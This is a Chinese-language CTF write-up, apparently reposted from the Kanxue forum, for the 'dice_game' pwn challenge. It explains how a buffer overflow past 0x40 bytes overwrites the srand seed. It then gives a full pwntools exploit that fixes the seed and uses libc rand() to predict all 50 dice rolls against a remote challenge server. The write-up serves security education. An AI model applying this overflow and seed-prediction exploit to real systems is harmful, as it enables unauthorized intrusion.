攻防世界pwn高手进阶区dice_game
2019-09-06 14:14:11 Author: bbs.pediy.com(查看原文) 阅读量:219 收藏

[原创]攻防世界pwn高手进阶区dice_game

1天前 385

[原创]攻防世界pwn高手进阶区dice_game

0x00 查看保护


64位程序,堆栈保护没开

0x01 初步分析


sub_A20()是对比我们的输入与程序产生的随机数是否想相等,相等则返回1,反之则返回0

sub_B28()是读取flag文件,并输出

0x02 思路

成功执行sub_B28()即可获得flag,也就需要连续输入正确50次,靠运气是不太可能了
但是rand()产生随机数其实是伪随机数,是根据上面srand(seed[0]);留下的种子而产生随机数,而seed[0]则是用来初始化种子的,所以我们可以通过覆盖掉seed[0]来实现预测rand()产生的随机数

在这里能够发现buf只要超过0x40就可以实现覆盖seed

0x03 构造exp

from pwn import *
from ctypes import *

context.arch = "amd64"
#context.log_level = "debug"

p = remote('111.198.29.45','56197')
#p = process("./dice_game")
libc = cdll.LoadLibrary("libc.so.6")
payload = 'a'*0x40 + p64(0)
#payload = 'a'*0x40 + p64(1)

p.sendlineafter("Welcome, let me know your name: ",payload)

for i in range(50):
        p.recvuntil("Give me the point(1~6): ")
        n = libc.rand(0)%6+1
        #n = libc.rand(1)%6+1
        p.sendline(str(n))

p.interactive()


[公告]看雪.纽盾 KCTF 2019晋级赛Q3攻击方规则,9月10日开赛,华为P30 Pro、iPad、kindle等你来拿!


文章来源: https://bbs.pediy.com/thread-254283.htm
如有侵权请联系:admin#unsafe.sh